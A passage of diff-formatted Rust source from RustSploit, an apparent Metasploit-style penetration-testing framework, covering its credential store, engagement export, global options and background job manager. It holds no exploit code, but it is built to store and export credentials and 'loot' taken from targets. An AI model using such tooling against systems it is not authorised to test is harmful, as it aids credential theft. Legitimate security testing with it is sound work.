if host.is_empty() || host.len() > Self::MAX_FIELD_LEN {
|
||||
return None;
|
||||
}
|
||||
if secret.len() > Self::MAX_FIELD_LEN || username.len() > Self::MAX_FIELD_LEN {
|
||||
return None;
|
||||
}
|
||||
let id = uuid::Uuid::new_v4().simple().to_string()[..16].to_string();
|
||||
let entry = CredEntry {
|
||||
id: id.clone(),
|
||||
host: host.to_string(),
|
||||
port,
|
||||
service: service.to_string(),
|
||||
username: username.to_string(),
|
||||
secret: secret.to_string(),
|
||||
cred_type,
|
||||
source_module: source_module.to_string(),
|
||||
timestamp: chrono::Local::now().format("%Y-%m-%d %H:%M:%S").to_string(),
|
||||
valid: true,
|
||||
};
|
||||
let snapshot = {
|
||||
let mut entries = self.entries.write().await;
|
||||
entries.push(entry);
|
||||
entries.clone()
|
||||
};
|
||||
self.save_locked(&snapshot).await;
|
||||
Some(id)
|
||||
}
|
||||
|
||||
/// List all credentials.
|
||||
pub async fn list(&self) -> Vec<CredEntry> {
|
||||
self.entries.read().await.clone()
|
||||
}
|
||||
|
||||
/// Search credentials by host.
|
||||
pub async fn search(&self, query: &str) -> Vec<CredEntry> {
|
||||
let q = query.to_lowercase();
|
||||
self.list().await.into_iter().filter(|e| {
|
||||
e.host.to_lowercase().contains(&q)
|
||||
|| e.service.to_lowercase().contains(&q)
|
||||
|| e.username.to_lowercase().contains(&q)
|
||||
}).collect()
|
||||
}
|
||||
|
||||
/// Delete a credential by ID.
|
||||
pub async fn delete(&self, id: &str) -> bool {
|
||||
let snapshot = {
|
||||
let mut entries = self.entries.write().await;
|
||||
let before = entries.len();
|
||||
entries.retain(|e| e.id != id);
|
||||
if entries.len() < before {
|
||||
Some(entries.clone())
|
||||
} else {
|
||||
None
|
||||
}
|
||||
};
|
||||
if let Some(data) = snapshot {
|
||||
self.save_locked(&data).await;
|
||||
return true;
|
||||
}
|
||||
false
|
||||
}
|
||||
|
||||
/// Clear all credentials.
|
||||
pub async fn clear(&self) {
|
||||
{
|
||||
self.entries.write().await.clear();
|
||||
}
|
||||
self.save_locked(&[]).await;
|
||||
}
|
||||
|
||||
async fn save_locked(&self, entries: &[CredEntry]) {
|
||||
if let Some(parent) = self.file_path.parent() {
|
||||
if let Err(e) = tokio::fs::create_dir_all(parent).await {
|
||||
eprintln!("[!] Failed to create creds directory: {}", e);
|
||||
return;
|
||||
}
|
||||
}
|
||||
let tmp = self.file_path.with_extension("json.tmp");
|
||||
let json = match serde_json::to_string_pretty(entries) {
|
||||
Ok(j) => j,
|
||||
Err(e) => {
|
||||
eprintln!("[!] Failed to serialize credentials: {}", e);
|
||||
return;
|
||||
}
|
||||
};
|
||||
{
|
||||
let file = match tokio::fs::OpenOptions::new()
|
||||
.write(true)
|
||||
.create(true)
|
||||
.truncate(true)
|
||||
.mode(0o600)
|
||||
.open(&tmp)
|
||||
.await
|
||||
{
|
||||
Ok(f) => f,
|
||||
Err(e) => {
|
||||
eprintln!("[!] Failed to write temp creds file: {}", e);
|
||||
return;
|
||||
}
|
||||
};
|
||||
let mut file = file;
|
||||
if let Err(e) = tokio::io::AsyncWriteExt::write_all(&mut file, json.as_bytes()).await {
|
||||
eprintln!("[!] Failed to write temp creds file: {}", e);
|
||||
return;
|
||||
}
|
||||
}
|
||||
if let Err(e) = tokio::fs::rename(&tmp, &self.file_path).await {
|
||||
eprintln!("[!] Failed to rename creds file: {}", e);
|
||||
}
|
||||
}
|
||||
|
||||
/// Display all credentials in a formatted table.
|
||||
pub async fn display(&self) {
|
||||
let entries = self.list().await;
|
||||
if entries.is_empty() {
|
||||
println!("{}", "No credentials stored. Use 'creds add' to add one.".dimmed());
|
||||
return;
|
||||
}
|
||||
println!();
|
||||
println!("{}", format!("Credentials ({} total):", entries.len()).bold().underline());
|
||||
println!();
|
||||
println!(" {:<10} {:<18} {:<6} {:<10} {:<16} {:<20} {:<10} {}",
|
||||
"ID".bold(), "Host".bold(), "Port".bold(), "Service".bold(),
|
||||
"Username".bold(), "Secret".bold(), "Type".bold(), "Valid".bold());
|
||||
println!(" {}", "-".repeat(100).dimmed());
|
||||
for e in &entries {
|
||||
let valid_str = if e.valid { "yes".green() } else { "no".red() };
|
||||
println!(" {:<10} {:<18} {:<6} {:<10} {:<16} {:<20} {:<10} {}",
|
||||
e.id, e.host, e.port, e.service, e.username,
|
||||
if e.secret.len() > 18 { format!("{}...", &e.secret[..15]) } else { e.secret.clone() },
|
||||
e.cred_type, valid_str);
|
||||
}
|
||||
println!();
|
||||
}
|
||||
|
||||
/// Display search results.
|
||||
pub fn display_results(&self, results: &[CredEntry]) {
|
||||
if results.is_empty() {
|
||||
println!("{}", "No matching credentials found.".dimmed());
|
||||
return;
|
||||
}
|
||||
println!();
|
||||
println!("{}", format!("Found {} credential(s):", results.len()).bold());
|
||||
println!();
|
||||
for e in results {
|
||||
println!(" [{}] {}@{}:{} ({}) - {} [{}]",
|
||||
e.id.yellow(), e.username.green(), e.host, e.port,
|
||||
e.service, e.cred_type,
|
||||
if e.valid { "valid".green() } else { "invalid".red() });
|
||||
}
|
||||
println!();
|
||||
}
|
||||
}
|
||||
|
||||
pub static CRED_STORE: Lazy<CredStore> = Lazy::new(CredStore::new);
|
||||
|
||||
/// Convenience function for modules to store a discovered credential.
|
||||
pub async fn store_credential(
|
||||
host: &str,
|
||||
port: u16,
|
||||
service: &str,
|
||||
username: &str,
|
||||
secret: &str,
|
||||
cred_type: CredType,
|
||||
source_module: &str,
|
||||
) -> Option<String> {
|
||||
CRED_STORE.add(host, port, service, username, secret, cred_type, source_module).await
|
||||
}
|
||||
+228
@@ -0,0 +1,228 @@
|
||||
use std::io::Write;
|
||||
|
||||
use anyhow::{Context, Result};
|
||||
use colored::*;
|
||||
use serde::Serialize;
|
||||
|
||||
/// Write data to a file, rejecting symlinks atomically with O_NOFOLLOW.
|
||||
fn safe_write(path: &str, data: &[u8]) -> Result<()> {
|
||||
#[cfg(unix)]
|
||||
{
|
||||
use std::os::unix::fs::OpenOptionsExt;
|
||||
let mut file = std::fs::OpenOptions::new()
|
||||
.write(true)
|
||||
.create(true)
|
||||
.truncate(true)
|
||||
.custom_flags(libc::O_NOFOLLOW)
|
||||
.open(path)
|
||||
.context(format!("Failed to open '{}' (symlinks not allowed)", path))?;
|
||||
file.write_all(data)
|
||||
.context(format!("Failed to write to '{}'", path))?;
|
||||
file.flush()?;
|
||||
Ok(())
|
||||
}
|
||||
#[cfg(not(unix))]
|
||||
{
|
||||
std::fs::write(path, data).context(format!("Failed to write to '{}'", path))?;
|
||||
Ok(())
|
||||
}
|
||||
}
|
||||
|
||||
/// Full engagement data for export.
|
||||
#[derive(Serialize)]
|
||||
struct EngagementExport {
|
||||
workspace: String,
|
||||
exported_at: String,
|
||||
hosts: Vec<crate::workspace::HostEntry>,
|
||||
services: Vec<crate::workspace::ServiceEntry>,
|
||||
credentials: Vec<crate::cred_store::CredEntry>,
|
||||
loot: Vec<crate::loot::LootEntry>,
|
||||
}
|
||||
|
||||
/// Gather all engagement data atomically.
|
||||
/// Workspace data is snapshotted in a single read to avoid mixing data
|
||||
/// across concurrent workspace switches.
|
||||
async fn gather_data() -> EngagementExport {
|
||||
let workspace_name = crate::workspace::WORKSPACE.current_name().await;
|
||||
let workspace_data = crate::workspace::WORKSPACE.get_data().await;
|
||||
EngagementExport {
|
||||
workspace: workspace_name,
|
||||
exported_at: chrono::Local::now().format("%Y-%m-%d %H:%M:%S").to_string(),
|
||||
hosts: workspace_data.hosts,
|
||||
services: workspace_data.services,
|
||||
credentials: crate::cred_store::CRED_STORE.list().await,
|
||||
loot: crate::loot::LOOT_STORE.list().await,
|
||||
}
|
||||
}
|
||||
|
||||
/// Return engagement data as a JSON string.
|
||||
pub async fn export_json_string() -> Result<String> {
|
||||
let data = gather_data().await;
|
||||
serde_json::to_string_pretty(&data).context("Failed to serialize engagement data")
|
||||
}
|
||||
|
||||
/// Export all engagement data to a JSON file.
|
||||
pub async fn export_json(path: &str) -> Result<()> {
|
||||
validate_export_path(path)?;
|
||||
let json = export_json_string().await?;
|
||||
safe_write(path, json.as_bytes())?;
|
||||
crate::mprintln!("{}", format!("[+] Exported JSON to '{}'", path).green());
|
||||
Ok(())
|
||||
}
|
||||
|
||||
/// Return engagement data as a CSV string.
|
||||
pub async fn export_csv_string() -> Result<String> {
|
||||
let data = gather_data().await;
|
||||
let mut output = String::new();
|
||||
|
||||
output.push_str("# Hosts\n");
|
||||
output.push_str("ip,hostname,os_guess,first_seen,last_seen,notes_count\n");
|
||||
for h in &data.hosts {
|
||||
output.push_str(&format!("{},{},{},{},{},{}\n",
|
||||
csv_escape(&h.ip),
|
||||
csv_escape(h.hostname.as_deref().unwrap_or("")),
|
||||
csv_escape(h.os_guess.as_deref().unwrap_or("")),
|
||||
csv_escape(&h.first_seen),
|
||||
csv_escape(&h.last_seen),
|
||||
h.notes.len()));
|
||||
}
|
||||
output.push('\n');
|
||||
|
||||
output.push_str("# Services\n");
|
||||
output.push_str("host,port,protocol,service,version\n");
|
||||
for s in &data.services {
|
||||
output.push_str(&format!("{},{},{},{},{}\n",
|
||||
csv_escape(&s.host), s.port, csv_escape(&s.protocol),
|
||||
csv_escape(&s.service_name), csv_escape(s.version.as_deref().unwrap_or(""))));
|
||||
}
|
||||
output.push('\n');
|
||||
|
||||
output.push_str("# Credentials\n");
|
||||
output.push_str("id,host,port,service,username,secret,type,source,valid\n");
|
||||
for c in &data.credentials {
|
||||
output.push_str(&format!("{},{},{},{},{},{},{},{},{}\n",
|
||||
csv_escape(&c.id), csv_escape(&c.host), c.port,
|
||||
csv_escape(&c.service), csv_escape(&c.username),
|
||||
csv_escape(&c.secret), c.cred_type,
|
||||
csv_escape(&c.source_module), c.valid));
|
||||
}
|
||||
output.push('\n');
|
||||
|
||||
output.push_str("# Loot\n");
|
||||
output.push_str("id,host,type,description,filename,source\n");
|
||||
for l in &data.loot {
|
||||
output.push_str(&format!("{},{},{},{},{},{}\n",
|
||||
csv_escape(&l.id), csv_escape(&l.host), csv_escape(&l.loot_type),
|
||||
csv_escape(&l.description), csv_escape(&l.filename),
|
||||
csv_escape(&l.source_module)));
|
||||
}
|
||||
|
||||
Ok(output)
|
||||
}
|
||||
|
||||
/// Export engagement data to a CSV file.
|
||||
pub async fn export_csv(path: &str) -> Result<()> {
|
||||
validate_export_path(path)?;
|
||||
let output = export_csv_string().await?;
|
||||
safe_write(path, output.as_bytes())?;
|
||||
crate::mprintln!("{}", format!("[+] Exported CSV to '{}'", path).green());
|
||||
Ok(())
|
||||
}
|
||||
|
||||
/// Return a human-readable summary report as a string.
|
||||
pub async fn export_summary_string() -> Result<String> {
|
||||
let data = gather_data().await;
|
||||
let mut report = String::new();
|
||||
|
||||
report.push_str("============================================================\n");
|
||||
report.push_str(" RustSploit Engagement Report\n");
|
||||
report.push_str("============================================================\n\n");
|
||||
report.push_str(&format!("Workspace: {}\n", data.workspace));
|
||||
report.push_str(&format!("Generated: {}\n\n", data.exported_at));
|
||||
|
||||
report.push_str("--- Summary ---\n");
|
||||
report.push_str(&format!("Hosts discovered: {}\n", data.hosts.len()));
|
||||
report.push_str(&format!("Services found: {}\n", data.services.len()));
|
||||
report.push_str(&format!("Credentials obtained: {}\n", data.credentials.len()));
|
||||
report.push_str(&format!("Loot collected: {}\n\n", data.loot.len()));
|
||||
|
||||
if !data.hosts.is_empty() {
|
||||
report.push_str("--- Hosts ---\n");
|
||||
for h in &data.hosts {
|
||||
report.push_str(&format!(" {} ({})\n", h.ip, h.hostname.as_deref().unwrap_or("unknown")));
|
||||
if let Some(ref os) = h.os_guess { report.push_str(&format!(" OS: {}\n", os)); }
|
||||
if !h.notes.is_empty() {
|
||||
report.push_str(" Notes:\n");
|
||||
for note in &h.notes { report.push_str(&format!(" - {}\n", note)); }
|
||||
}
|
||||
}
|
||||
report.push('\n');
|
||||
}
|
||||
if !data.services.is_empty() {
|
||||
report.push_str("--- Services ---\n");
|
||||
for s in &data.services {
|
||||
report.push_str(&format!(" {}:{}/{} - {} {}\n", s.host, s.port, s.protocol, s.service_name, s.version.as_deref().unwrap_or("")));
|
||||
}
|
||||
report.push('\n');
|
||||
}
|
||||
if !data.credentials.is_empty() {
|
||||
report.push_str("--- Credentials ---\n");
|
||||
for c in &data.credentials {
|
||||
report.push_str(&format!(" {}@{}:{} ({}) - {} [{}]\n", c.username, c.host, c.port, c.service, c.cred_type, if c.valid { "valid" } else { "invalid" }));
|
||||
}
|
||||
report.push('\n');
|
||||
}
|
||||
if !data.loot.is_empty() {
|
||||
report.push_str("--- Loot ---\n");
|
||||
for l in &data.loot {
|
||||
report.push_str(&format!(" [{}] {} from {} - {}\n", l.loot_type, l.filename, l.host, l.description));
|
||||
}
|
||||
report.push('\n');
|
||||
}
|
||||
report.push_str("============================================================\n");
|
||||
report.push_str("Generated by RustSploit (https://github.com/thekiaboys/rustsploit)\n");
|
||||
Ok(report)
|
||||
}
|
||||
|
||||
/// Export a human-readable summary report to a file.
|
||||
pub async fn export_summary(path: &str) -> Result<()> {
|
||||
validate_export_path(path)?;
|
||||
let report = export_summary_string().await?;
|
||||
safe_write(path, report.as_bytes())?;
|
||||
crate::mprintln!("{}", format!("[+] Exported summary report to '{}'", path).green());
|
||||
Ok(())
|
||||
}
|
||||
|
||||
fn csv_escape(s: &str) -> String {
|
||||
let mut val = s.to_string();
|
||||
let needs_formula_guard = val.starts_with('=')
|
||||
|| val.starts_with('+')
|
||||
|| val.starts_with('@')
|
||||
|| val.starts_with('-')
|
||||
|| val.starts_with('\t')
|
||||
|| val.starts_with('\r');
|
||||
if needs_formula_guard {
|
||||
val = format!("'{}", val);
|
||||
}
|
||||
if needs_formula_guard || val.contains(',') || val.contains('"') || val.contains('\n') {
|
||||
format!("\"{}\"", val.replace('"', "\"\""))
|
||||
} else {
|
||||
val
|
||||
}
|
||||
}
|
||||
|
||||
pub fn validate_export_path(path: &str) -> Result<()> {
|
||||
if path.is_empty() || path.len() > 255 {
|
||||
return Err(anyhow::anyhow!("Invalid export path length (max 255 chars)"));
|
||||
}
|
||||
if path.contains("..") || path.contains('\0') {
|
||||
return Err(anyhow::anyhow!("Path traversal not allowed in export path"));
|
||||
}
|
||||
if path.starts_with('/') || path.starts_with('\\') || path.contains('/') || path.contains('\\') {
|
||||
return Err(anyhow::anyhow!("Only filenames are allowed for export (no directory separators). Use a relative filename like 'report.json'."));
|
||||
}
|
||||
if path.starts_with('.') {
|
||||
return Err(anyhow::anyhow!("Hidden files not allowed for export"));
|
||||
}
|
||||
Ok(())
|
||||
}
|
||||
@@ -0,0 +1,175 @@
|
||||
use std::collections::HashMap;
|
||||
use std::path::PathBuf;
|
||||
|
||||
use colored::*;
|
||||
use once_cell::sync::Lazy;
|
||||
use tokio::sync::RwLock;
|
||||
|
||||
/// Persistent global options that apply across all modules.
|
||||
/// Like Metasploit's `setg` — values are checked by `cfg_prompt_*`
|
||||
/// after custom_prompts but before interactive stdin.
|
||||
pub struct GlobalOptions {
|
||||
options: RwLock<HashMap<String, String>>,
|
||||
file_path: PathBuf,
|
||||
}
|
||||
|
||||
impl GlobalOptions {
|
||||
fn new() -> Self {
|
||||
let file_path = home::home_dir()
|
||||
.unwrap_or_else(|| PathBuf::from("."))
|
||||
.join(".rustsploit")
|
||||
.join("global_options.json");
|
||||
|
||||
let options = if file_path.exists() {
|
||||
match std::fs::read_to_string(&file_path) {
|
||||
Ok(contents) => match serde_json::from_str(&contents) {
|
||||
Ok(data) => data,
|
||||
Err(e) => {
|
||||
eprintln!("[!] Warning: global_options.json is corrupted ({}). Starting fresh.", e);
|
||||
let backup = file_path.with_extension("json.bak");
|
||||
if let Err(e) = std::fs::copy(&file_path, &backup) {
|
||||
eprintln!("[!] Failed to backup corrupted global_options.json: {}", e);
|
||||
}
|
||||
HashMap::new()
|
||||
}
|
||||
},
|
||||
Err(e) => {
|
||||
eprintln!("[!] Failed to read global_options.json: {}", e);
|
||||
HashMap::new()
|
||||
}
|
||||
}
|
||||
} else {
|
||||
HashMap::new()
|
||||
};
|
||||
|
||||
Self {
|
||||
options: RwLock::new(options),
|
||||
file_path,
|
||||
}
|
||||
}
|
||||
|
||||
const MAX_KEY_LEN: usize = 256;
|
||||
const MAX_VALUE_LEN: usize = 4096;
|
||||
const MAX_ENTRIES: usize = 1024;
|
||||
|
||||
/// Set a global option. Persists to disk.
|
||||
/// Returns false if key/value exceed size limits or entry cap reached.
|
||||
pub async fn set(&self, key: &str, value: &str) -> bool {
|
||||
if key.is_empty() || key.len() > Self::MAX_KEY_LEN || value.len() > Self::MAX_VALUE_LEN {
|
||||
return false;
|
||||
}
|
||||
let snapshot = {
|
||||
let mut opts = self.options.write().await;
|
||||
if opts.len() >= Self::MAX_ENTRIES && !opts.contains_key(key) {
|
||||
return false;
|
||||
}
|
||||
opts.insert(key.to_string(), value.to_string());
|
||||
opts.clone()
|
||||
};
|
||||
self.save_locked(&snapshot).await;
|
||||
true
|
||||
}
|
||||
|
||||
/// Remove a global option. Persists to disk.
|
||||
pub async fn unset(&self, key: &str) -> bool {
|
||||
let snapshot = {
|
||||
let mut opts = self.options.write().await;
|
||||
let removed = opts.remove(key).is_some();
|
||||
if removed { Some(opts.clone()) } else { None }
|
||||
};
|
||||
if let Some(data) = snapshot {
|
||||
self.save_locked(&data).await;
|
||||
return true;
|
||||
}
|
||||
false
|
||||
}
|
||||
|
||||
/// Get a global option value.
|
||||
pub async fn get(&self, key: &str) -> Option<String> {
|
||||
self.options.read().await.get(key).cloned()
|
||||
}
|
||||
|
||||
/// Synchronous blocking get for use in non-async contexts.
|
||||
/// Spins briefly if a writer holds the lock, so user-set values
|
||||
/// are never silently replaced by defaults during a concurrent save.
|
||||
pub fn try_get(&self, key: &str) -> Option<String> {
|
||||
for _ in 0..50 {
|
||||
if let Ok(guard) = self.options.try_read() {
|
||||
return guard.get(key).cloned();
|
||||
}
|
||||
std::thread::sleep(std::time::Duration::from_millis(1));
|
||||
}
|
||||
None
|
||||
}
|
||||
|
||||
/// Get all global options.
|
||||
pub async fn all(&self) -> HashMap<String, String> {
|
||||
self.options.read().await.clone()
|
||||
}
|
||||
|
||||
/// Save to disk using atomic write (write to temp, then rename).
|
||||
async fn save_locked(&self, opts: &HashMap<String, String>) {
|
||||
if let Some(parent) = self.file_path.parent() {
|
||||
if let Err(e) = tokio::fs::create_dir_all(parent).await {
|
||||
eprintln!("[!] Failed to create options directory: {}", e);
|
||||
return;
|
||||
}
|
||||
}
|
||||
let tmp = self.file_path.with_extension("json.tmp");
|
||||
let json = match serde_json::to_string_pretty(opts) {
|
||||
Ok(j) => j,
|
||||
Err(e) => {
|
||||
eprintln!("[!] Failed to serialize options: {}", e);
|
||||
return;
|
||||
}
|
||||
};
|
||||
{
|
||||
let file = match tokio::fs::OpenOptions::new()
|
||||
.write(true)
|
||||
.create(true)
|
||||
.truncate(true)
|
||||
.mode(0o600)
|
||||
.open(&tmp)
|
||||
.await
|
||||
{
|
||||
Ok(f) => f,
|
||||
Err(e) => {
|
||||
eprintln!("[!] Failed to write temp options file: {}", e);
|
||||
return;
|
||||
}
|
||||
};
|
||||
let mut file = file;
|
||||
if let Err(e) = tokio::io::AsyncWriteExt::write_all(&mut file, json.as_bytes()).await {
|
||||
eprintln!("[!] Failed to write temp options file: {}", e);
|
||||
return;
|
||||
}
|
||||
}
|
||||
if let Err(e) = tokio::fs::rename(&tmp, &self.file_path).await {
|
||||
eprintln!("[!] Failed to rename options file: {}", e);
|
||||
}
|
||||
}
|
||||
|
||||
/// Display all global options in a formatted table.
|
||||
pub async fn display(&self) {
|
||||
let opts = self.all().await;
|
||||
if opts.is_empty() {
|
||||
println!("{}", "No global options set. Use 'setg <key> <value>' to set one.".dimmed());
|
||||
return;
|
||||
}
|
||||
println!();
|
||||
println!("{}", "Global Options:".bold().underline());
|
||||
println!();
|
||||
println!(" {:<30} {}", "Key".bold(), "Value".bold());
|
||||
println!(" {:<30} {}", "---".dimmed(), "-----".dimmed());
|
||||
let mut keys: Vec<_> = opts.keys().collect();
|
||||
keys.sort();
|
||||
for key in keys {
|
||||
if let Some(val) = opts.get(key) {
|
||||
println!(" {:<30} {}", key.green(), val);
|
||||
}
|
||||
}
|
||||
println!();
|
||||
}
|
||||
}
|
||||
|
||||
pub static GLOBAL_OPTIONS: Lazy<GlobalOptions> = Lazy::new(GlobalOptions::new);
|
||||
+423
@@ -0,0 +1,423 @@
|
||||
use std::collections::HashMap;
|
||||
use std::sync::atomic::{AtomicU32, AtomicU64, Ordering};
|
||||
use std::sync::Arc;
|
||||
use std::sync::LazyLock as Lazy;
|
||||
use std::sync::RwLock;
|
||||
|
||||
use colored::*;
|
||||
use serde::Serialize;
|
||||
use tokio::sync::{broadcast, watch};
|
||||
|
||||
#[derive(Clone, Debug, Serialize)]
|
||||
pub enum JobEvent {
|
||||
Started { id: u32, module: String, target: String },
|
||||
Completed { id: u32 },
|
||||
Failed { id: u32, error: String },
|
||||
Cancelled { id: u32 },
|
||||
}
|
||||
|
||||
/// Status of a background job.
|
||||
#[derive(Debug, Clone, Serialize)]
|
||||
pub enum JobStatus {
|
||||
Running,
|
||||
Completed,
|
||||
Failed(String),
|
||||
Cancelled,
|
||||
}
|
||||
|
||||
impl std::fmt::Display for JobStatus {
|
||||
fn fmt(&self, f: &mut std::fmt::Formatter<'_>) -> std::fmt::Result {
|
||||
match self {
|
||||
JobStatus::Running => write!(f, "Running"),
|
||||
JobStatus::Completed => write!(f, "Completed"),
|
||||
JobStatus::Failed(msg) => write!(f, "Failed: {}", msg),
|
||||
JobStatus::Cancelled => write!(f, "Cancelled"),
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
/// Thread-safe output + progress tracker shared between the job task and API readers.
|
||||
pub struct JobProgress {
|
||||
output: RwLock<std::collections::VecDeque<String>>,
|
||||
total_lines_pushed: AtomicU64,
|
||||
pub success_count: AtomicU64,
|
||||
pub fail_count: AtomicU64,
|
||||
pub total_targets: AtomicU64,
|
||||
pub last_activity: RwLock<chrono::DateTime<chrono::Local>>,
|
||||
}
|
||||
|
||||
const MAX_OUTPUT_LINES: usize = 5000;
|
||||
|
||||
impl JobProgress {
|
||||
pub fn new() -> Arc<Self> {
|
||||
Arc::new(Self {
|
||||
output: RwLock::new(std::collections::VecDeque::with_capacity(MAX_OUTPUT_LINES)),
|
||||
total_lines_pushed: AtomicU64::new(0),
|
||||
success_count: AtomicU64::new(0),
|
||||
fail_count: AtomicU64::new(0),
|
||||
total_targets: AtomicU64::new(0),
|
||||
last_activity: RwLock::new(chrono::Local::now()),
|
||||
})
|
||||
}
|
||||
|
||||
pub fn push_line(&self, line: String) {
|
||||
if let Ok(mut buf) = self.output.write() {
|
||||
if buf.len() >= MAX_OUTPUT_LINES {
|
||||
buf.pop_front();
|
||||
}
|
||||
buf.push_back(line);
|
||||
}
|
||||
self.total_lines_pushed.fetch_add(1, Ordering::Relaxed);
|
||||
if let Ok(mut ts) = self.last_activity.write() {
|
||||
*ts = chrono::Local::now();
|
||||
}
|
||||
}
|
||||
|
||||
pub fn get_output(&self, from: usize) -> Vec<String> {
|
||||
self.output.read().unwrap_or_else(|e| e.into_inner())
|
||||
.iter().skip(from).cloned().collect()
|
||||
}
|
||||
|
||||
pub fn output_len(&self) -> usize {
|
||||
self.output.read().unwrap_or_else(|e| e.into_inner()).len()
|
||||
}
|
||||
|
||||
pub fn completed(&self) -> u64 {
|
||||
self.success_count.load(Ordering::Relaxed) + self.fail_count.load(Ordering::Relaxed)
|
||||
}
|
||||
}
|
||||
|
||||
/// A background job entry.
|
||||
pub struct Job {
|
||||
pub id: u32,
|
||||
pub module: String,
|
||||
pub target: String,
|
||||
pub started_at: chrono::DateTime<chrono::Local>,
|
||||
pub status: JobStatus,
|
||||
pub progress: Arc<JobProgress>,
|
||||
finished_at: Option<std::time::Instant>,
|
||||
cancel_tx: watch::Sender<bool>,
|
||||
handle: Option<tokio::task::JoinHandle<()>>,
|
||||
}
|
||||
|
||||
const MAX_JOBS: usize = 1000;
|
||||
const FINISHED_JOB_RETENTION_SECS: u64 = 300;
|
||||
const DEFAULT_MAX_RUNNING: usize = 5;
|
||||
|
||||
/// Manages background jobs.
|
||||
pub struct JobManager {
|
||||
jobs: RwLock<HashMap<u32, Job>>,
|
||||
next_id: AtomicU32,
|
||||
max_running: AtomicU32,
|
||||
event_tx: broadcast::Sender<JobEvent>,
|
||||
}
|
||||
|
||||
impl JobManager {
|
||||
fn new() -> Self {
|
||||
use rand::RngExt;
|
||||
let start = rand::rng().random_range(1..(1u32 << 24));
|
||||
let (event_tx, _) = broadcast::channel(256);
|
||||
Self {
|
||||
jobs: RwLock::new(HashMap::new()),
|
||||
next_id: AtomicU32::new(start),
|
||||
max_running: AtomicU32::new(DEFAULT_MAX_RUNNING as u32),
|
||||
event_tx,
|
||||
}
|
||||
}
|
||||
|
||||
pub fn subscribe(&self) -> broadcast::Receiver<JobEvent> {
|
||||
self.event_tx.subscribe()
|
||||
}
|
||||
|
||||
pub fn running_count(&self) -> usize {
|
||||
self.jobs.read().map(|jobs| {
|
||||
jobs.values().filter(|j| {
|
||||
j.handle.as_ref().map(|h| !h.is_finished()).unwrap_or(false)
|
||||
}).count()
|
||||
}).unwrap_or(0)
|
||||
}
|
||||
|
||||
pub fn get_max_running(&self) -> u32 {
|
||||
self.max_running.load(Ordering::Relaxed)
|
||||
}
|
||||
|
||||
pub fn set_max_running(&self, limit: u32) {
|
||||
let clamped = limit.clamp(1, 100);
|
||||
self.max_running.store(clamped, Ordering::Relaxed);
|
||||
}
|
||||
|
||||
pub fn spawn(
|
||||
&self,
|
||||
module: String,
|
||||
target: String,
|
||||
verbose: bool,
|
||||
config: Option<crate::config::ModuleConfig>,
|
||||
) -> Result<(u32, Arc<JobProgress>), String> {
|
||||
let mut jobs = self.jobs.write().map_err(|_| "Job lock poisoned".to_string())?;
|
||||
|
||||
let running = jobs.values().filter(|j| {
|
||||
j.handle.as_ref().map(|h| !h.is_finished()).unwrap_or(false)
|
||||
}).count();
|
||||
let max = self.max_running.load(Ordering::Relaxed) as usize;
|
||||
if running >= max {
|
||||
return Err(format!(
|
||||
"Job limit reached: {}/{} concurrent jobs running. Kill a running job or increase the limit.",
|
||||
running, max
|
||||
));
|
||||
}
|
||||
|
||||
let mut id = self.next_id.fetch_add(1, Ordering::Relaxed);
|
||||
while jobs.contains_key(&id) {
|
||||
id = self.next_id.fetch_add(1, Ordering::Relaxed);
|
||||
}
|
||||
|
||||
if jobs.len() >= MAX_JOBS {
|
||||
let now = std::time::Instant::now();
|
||||
jobs.retain(|_, j| {
|
||||
match j.finished_at {
|
||||
None => true,
|
||||
Some(at) => now.duration_since(at).as_secs() < FINISHED_JOB_RETENTION_SECS,
|
||||
}
|
||||
});
|
||||
if jobs.len() >= MAX_JOBS {
|
||||
let mut finished: Vec<(u32, std::time::Instant)> = jobs.iter()
|
||||
.filter_map(|(jid, j)| j.finished_at.map(|t| (*jid, t)))
|
||||
.collect();
|
||||
finished.sort_by_key(|(_, t)| *t);
|
||||
for (oldest_id, _) in finished.into_iter().take(jobs.len() - MAX_JOBS + 1) {
|
||||
jobs.remove(&oldest_id);
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
let (cancel_tx, cancel_rx) = watch::channel(false);
|
||||
let progress = JobProgress::new();
|
||||
let prog_clone = progress.clone();
|
||||
let mod_clone = module.clone();
|
||||
let tgt_clone = target.clone();
|
||||
let evt_module = module.clone();
|
||||
let evt_target = target.clone();
|
||||
let event_tx = self.event_tx.clone();
|
||||
|
||||
let handle = tokio::spawn(async move {
|
||||
let mut rx = cancel_rx;
|
||||
prog_clone.push_line(format!("[*] Starting {} against {}", mod_clone, tgt_clone));
|
||||
let run_fut = {
|
||||
let m = mod_clone.clone();
|
||||
let t = tgt_clone.clone();
|
||||
async move {
|
||||
if let Some(cfg) = config {
|
||||
let (result, _ctx) = crate::context::run_with_context_target(
|
||||
cfg,
|
||||
t.clone(),
|
||||
|| async move { crate::commands::run_module(&m, &t, verbose).await },
|
||||
).await;
|
||||
result
|
||||
} else {
|
||||
crate::commands::run_module(&m, &t, verbose).await
|
||||
}
|
||||
}
|
||||
};
|
||||
tokio::select! {
|
||||
result = run_fut => {
|
||||
match result {
|
||||
Ok(_) => {
|
||||
prog_clone.push_line(format!("[+] Completed: {} against {}", mod_clone, tgt_clone));
|
||||
crate::mprintln!("\n{}", format!("[*] Job completed: {} against {}", mod_clone, tgt_clone).green());
|
||||
if let Err(e) = event_tx.send(JobEvent::Completed { id }) {
|
||||
tracing::debug!("No WS subscribers for job event: {}", e);
|
||||
}
|
||||
}
|
||||
Err(e) => {
|
||||
let msg = e.to_string();
|
||||
prog_clone.push_line(format!("[-] Failed: {} - {}", mod_clone, msg));
|
||||
crate::meprintln!("\n{}", format!("[!] Job failed: {} - {}", mod_clone, msg).red());
|
||||
if let Err(e) = event_tx.send(JobEvent::Failed { id, error: msg }) {
|
||||
tracing::debug!("No WS subscribers for job event: {}", e);
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
_ = async { while rx.changed().await.is_ok() { if *rx.borrow() { break; } } } => {
|
||||
prog_clone.push_line(format!("[!] Cancelled: {}", mod_clone));
|
||||
crate::mprintln!("\n{}", format!("[*] Job cancelled: {}", mod_clone).yellow());
|
||||
if let Err(e) = event_tx.send(JobEvent::Cancelled { id }) {
|
||||
tracing::debug!("No WS subscribers for job event: {}", e);
|
||||
}
|
||||
}
|
||||
}
|
||||
});
|
||||
|
||||
jobs.insert(id, Job {
|
||||
id,
|
||||
module,
|
||||
target,
|
||||
started_at: chrono::Local::now(),
|
||||
status: JobStatus::Running,
|
||||
progress: progress.clone(),
|
